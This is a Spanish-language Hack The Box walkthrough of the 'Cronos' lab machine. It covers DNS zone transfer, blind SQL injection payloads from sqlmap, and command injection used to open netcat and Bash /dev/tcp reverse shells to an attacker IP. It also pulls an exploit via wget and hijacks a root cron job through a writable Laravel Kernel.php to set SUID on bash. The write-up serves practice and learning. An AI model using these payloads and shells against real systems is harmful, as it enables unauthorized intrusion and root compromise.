Cronos
Hack The Box — Metodología Detallada
Cronos
| IP: | 10.129.227.211 |
| OS: | Linux |
| Dificultad: | Medium |
| Fecha: | 12 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.227.211 -oG allPorts
# Output
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Se identificaron 3 puertos abiertos: 22 (SSH), 53 (DNS) y 80 (HTTP). Se procedió a enumerar versiones de los servicios para determinar un vector de ataque principal.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Hallazgo: se identificó una versión vulnerable del servicio Apache 2.4.18, vinculada a un CVE conocido: CVE-2019-0211, que permite a un atacante con control sobre un proceso hijo de bajo privilegio (como un script web) ejecutar código arbitrario con los privilegios del proceso padre (normalmente root).
Enumeración web inicial
Antes de buscar un exploit público para la versión de Apache identificada, se accedió a la página principal para observar si se encontraba algo de valor.

Al no encontrarse nada relevante, se inspeccionó el código fuente
mediante Ctrl+U en busca de rutas o archivos sensibles, sin
resultados.
Se identificó un exploit público compatible con la versión de Apache, aunque únicamente funcional como mecanismo de escalada de privilegios (requiere contar previamente con un usuario de bajo privilegio):
searchsploit apache 2.4.18
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege
Escalation
Intento fallido — escaneo de directorios y LFI
Se realizó un escaneo de directorios con feroxbuster, sin encontrar nada de valor que sirviera como vector de entrada:
feroxbuster -u http://10.129.227.211/ -w /usr/share/seclists/
Discovery/Web-Content/common.txt
200 GET 15l 74w 6143c http://10.129.227.211/icons/ubuntu-logo.png
200 GET 379l 975w 11439c http://10.129.227.211/
200 GET 379l 975w 11439c http://10.129.227.211/index.html
Por qué no funcionó: el escaneo solo devolvió recursos por defecto de la página de bienvenida de Apache, sin directorios ni archivos ocultos de interés.
Se probó adicionalmente si la página principal era vulnerable a LFI (Local File Inclusion), sin obtener resultados.
Debido a la falta de un vector de entrada claro, se revisó la descripción oficial de la máquina, la cual menciona una inyección SQL introductoria. Se probó directamente sobre la página principal, pero tampoco se encontró nada.
Hallazgo del vhost administrativo — transferencia de zona DNS
Se volvió a revisar los puertos abiertos, prestando especial atención al puerto 53 (DNS), que no había sido explorado. Investigando máquinas similares en HTB, se identificó que servidores BIND mal configurados suelen permitir una transferencia de zona completa (AXFR), revelando todos los subdominios y hosts internos sin necesidad de fuerza bruta.
dig axfr cronos.htb @10.129.227.211
; <<>> DiG 9.20.24 <<>> axfr cronos.htb @10.129.227.211
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200
604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200
604800
;; Query time: 96 msec
;; SERVER: 10.129.227.211#53(10.129.227.211) (TCP)
;; WHEN: Sun Jul 12 02:44:15 UTC 2026
;; XFR size: 7 records (messages 1, bytes 203)
Hallazgo: se encontraron 3 subdominios apuntando a la misma IP, siendo admin.cronos.htb el de mayor interés:
cronos.htb
admin.cronos.htb
www.cronos.htb
ns1.cronos.htb

Explotación
Detección de inyección SQL con sqlmap
Luego de intentar manualmente inyecciones SQL sin obtener resultados visibles, se optó por utilizar sqlmap para automatizar la detección, dado que una inyección de tipo blind no produce cambios evidentes en la respuesta de la aplicación.
sqlmap -u "http://admin.cronos.htb/" --data="username=admin&password=admin"
--batch --level=5 --risk=3
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-2155' OR 4174=4174-- iDIf&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 8499 FROM (SELECT(SLEEP(5)))vULY)--
dzVs&password=admin
Interpretación del resultado: sqlmap confirmó que el parámetro
username es vulnerable a inyección SQL de tipo blind, mediante dos
técnicas:
-
Boolean-based blind: el payload
OR 4174=4174introduce una condición siempre verdadera, alterando el resultado de la consulta sin depender de credenciales válidas. -
Time-based blind: el uso de
SLEEP(5)confirma la inyección al provocar un retraso medible en la respuesta del servidor, útil cuando no hay diferencias visuales entre respuestas verdaderas y falsas.
Esto demuestra que la entrada del usuario se concatena directamente en la consulta SQL sin sanitización, permitiendo evadir la autenticación.


RCE mediante Net Tool v0.1
Dentro del panel administrativo se encontró la herramienta Net Tool v0.1, que ejecuta comandos de red (traceroute, ping, etc.) sobre una IP proporcionada por el usuario.

Hallazgo: se confirmó que la herramienta interpreta correctamente
comandos inyectados junto al parámetro de IP (por ejemplo,
8.8.8.8; id), confirmando una vulnerabilidad de command injection
que permite RCE.
Intento fallido — reverse shell con netcat
8.8.8.8; nc -e /bin/sh 10.10.15.163 4444
Por qué no funcionó: el binario de netcat instalado en el sistema
víctima no cuenta con soporte para el flag -e, ya que muchas
distribuciones Linux lo omiten por razones de seguridad.
Reverse shell exitosa — payload de Bash
8.8.8.8; bash -c 'bash -i >& /dev/tcp/10.10.15.163/4444 0>&1'
Este método aprovecha una funcionalidad propia de Bash que permite
tratar rutas del tipo /dev/tcp/IP/PUERTO como descriptores de archivo
que abren una conexión TCP directa, sin depender de herramientas
externas:
-
bash -iinvoca una instancia interactiva de Bash. -
>& /dev/tcp/10.10.15.163/4444redirige la salida estándar y de error hacia el socket TCP del atacante. -
0>&1redirige la entrada estándar hacia el mismo socket, permitiendo el envío de comandos de forma remota.
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.227.211 47546
bash: cannot set terminal process group (1358): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cronos:/var/www/admin$
Enumeración post-explotación
whoami
www-data
find / -perm -4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/fusermount
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/passwd
Dado que la reverse shell con nc suele ser muy limitada, se estabilizó
para poder ejecutar correctamente sudo -l:
sudo -l
sudo: no tty present and no askpass program specified
which python python3
/usr/bin/python
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
sudo -l
[sudo] password for www-data:
sudo: 3 incorrect password attempts
Se enumeraron los usuarios disponibles, encontrando noulis y root:
cat /etc/passwd | grep -E "/sh$|/bash$"
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash
Obtención de la flag de usuario
find / -name "user.txt" 2>/dev/null
/home/noulis/user.txt
cat /home/noulis/user.txt
2806d4*************f80c975
Escalada de Privilegios
Intento fallido — CVE-2019-0211
Dado que ya se había identificado previamente el exploit público para
CVE-2019-0211 (apache2ctl graceful + logrotate), se decidió
intentar esta vía primero, ya que se cumplía el prerequisito de contar
con un usuario de bajo privilegio (www-data).
searchsploit -m linux/local/46676.php
python3 -m http.server 8080
# Desde la v\'ictima
wget http://10.10.15.163:8080/46676.php -O /var/www/admin/carpediem.php
curl "http://admin.cronos.htb/carpediem.php?cmd=chmod+u+s+/bin/bash"
Por qué no funcionó (primer intento): el disparo del exploit provocó una caída completa del servicio Apache, dejando tanto la página web como la shell reversa activa inutilizables temporalmente. Este es un comportamiento esperado del exploit, ya que depende de una condición de carrera (use-after-free) con una tasa de éxito documentada de aproximadamente 87% con la configuración por defecto de workers de Apache.
Por qué no funcionó (intentos posteriores): tras recuperar el acceso, se repitió el disparo del exploit en múltiples ocasiones, obteniendo consistentemente el siguiente mensaje de diagnóstico:
CARPE (DIEM) ~ CVE-2019-0211
The following addresses were not determined by parsing /proc/self/maps:
shm, apache
Esto indica que el exploit no logró ubicar las direcciones de memoria
necesarias (shm y apache) para ejecutar la corrupción de memoria,
abortando de forma segura sin lograr el efecto deseado. Tras varios
intentos fallidos consecutivos, se descartó esta vía como el vector
principal de la máquina.
Escalada exitosa — cron job de Laravel
Revisando la descripción oficial de la máquina, se identificó que el vector de escalada estaba relacionado con archivos world-writable en el crontab de root, no con el CVE de Apache. Se procedió a enumerar el crontab del sistema:
cat /etc/crontab
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
Hallazgo: se identificó una tarea que se ejecuta cada minuto como
root, invocando el planificador de tareas de Laravel. Las tareas
programadas de Laravel se definen en el archivo
app/Console/Kernel.php, dentro del método schedule().
ls -la /var/www/laravel/app/Console/Kernel.php
-rw-r--r-- 1 www-data www-data 819 Apr 9 2017 Kernel.php
Se confirmó que el archivo pertenece al usuario www-data (el mismo
bajo el cual se ejecuta la shell actual), lo que permite modificarlo
libremente. Dado que el cron ejecuta este archivo como root cada
minuto, cualquier código PHP insertado dentro de él se ejecutará con
privilegios de root.
Se sobrescribió el archivo insertando una llamada a exec() que otorga
el bit SUID a /bin/bash:
cat > /var/www/laravel/app/Console/Kernel.php << 'EOF'
<?php
namespace App\Console;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
class Kernel extends ConsoleKernel
{
protected $commands = [
//
];
protected function schedule(Schedule $schedule)
{
exec("chmod u+s /bin/bash");
}
protected function commands()
{
require base_path('routes/console.php');
}
}
EOF
Intento fallido — edición con sed: un primer intento de edición
utilizando sed introdujo una llave de apertura duplicada, generando un
error de sintaxis PHP (unexpected ’protected’) que impidió la
ejecución del cron:
php /var/www/laravel/artisan schedule:run
PHP Parse error: syntax error, unexpected 'protected' (T_PROTECTED)
in /var/www/laravel/app/Console/Kernel.php on line 36
Intento fallido — edición con nano: se intentó corregir el archivo
con nano, pero al no estar la shell reversa completamente
estabilizada, el editor dejó el TTY en un estado inconsistente,
requiriendo reiniciar la sesión.
Solución: se optó por sobrescribir el archivo por completo mediante
heredoc (cat > archivo << 'EOF'), método que no requiere control
interactivo de terminal y resulta mucho más confiable en shells reversas
no estabilizadas.
Tras esperar al siguiente ciclo del cron (máximo 1 minuto), se verificó el resultado:
php -l /var/www/laravel/app/Console/Kernel.php
No syntax errors detected
ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
El bit SUID quedó establecido correctamente. Se procedió a obtener una shell con privilegios de root:
bash -p
whoami
root
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
El flag -p (privileged) es necesario porque Bash, por defecto,
descarta privilegios elevados si detecta que el UID real y el UID
efectivo difieren; este flag preserva el UID efectivo (root) otorgado
por el bit SUID.
Obtención de la flag root
cat /root/root.txt
70335******************e2a
Reflexión Final
Qué salió bien
-
Se logró detectar la inyección SQL de tipo blind mediante sqlmap y adaptar el bypass de login manualmente en el navegador sin mayores contratiempos.
-
El pivote de RCE mediante command injection en la herramienta Net Tool y la posterior reverse shell vía Bash (
/dev/tcp) se ejecutaron de forma fluida.
Qué salió mal o costó más
-
No se descartó a tiempo el puerto DNS (53) como aparentemente secundario, invirtiendo tiempo en otros vectores (escaneo de directorios, LFI, SQLi en la página principal) antes de revisarlo y encontrar, mediante transferencia de zona AXFR, el vhost administrativo real.
-
Se invirtió tiempo intentando el exploit público de CVE-2019-0211, el cual resultó inestable en este entorno: provocó la caída del servicio Apache en el primer intento y falló consistentemente en los siguientes por no lograr ubicar las direcciones de memoria necesarias.
-
Un intento de edición con
sedsobreKernel.phpdejó el archivo con sintaxis PHP inválida (llave duplicada), lo que impidió la ejecución del cron hasta corregirlo. Adicionalmente, el uso denanosobre la shell reversa (no completamente estabilizada) dejó el TTY en un estado inconsistente.
Lecciones aprendidas
-
No descartar puertos aparentemente secundarios durante la enumeración: el puerto DNS (53) resultó ser la clave para descubrir el vhost administrativo.
-
Un CVE público y teóricamente aplicable no siempre es el vector de explotación pretendido por la máquina; leer cuidadosamente la descripción oficial y enumerar sistemáticamente elementos como el crontab del sistema permitió encontrar el vector correcto de forma más directa y confiable.
-
En shells reversas no estabilizadas, es preferible evitar editores interactivos (
nano,vim) y utilizarheredocpara escribir o sobrescribir archivos de forma segura.
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 2 Horas.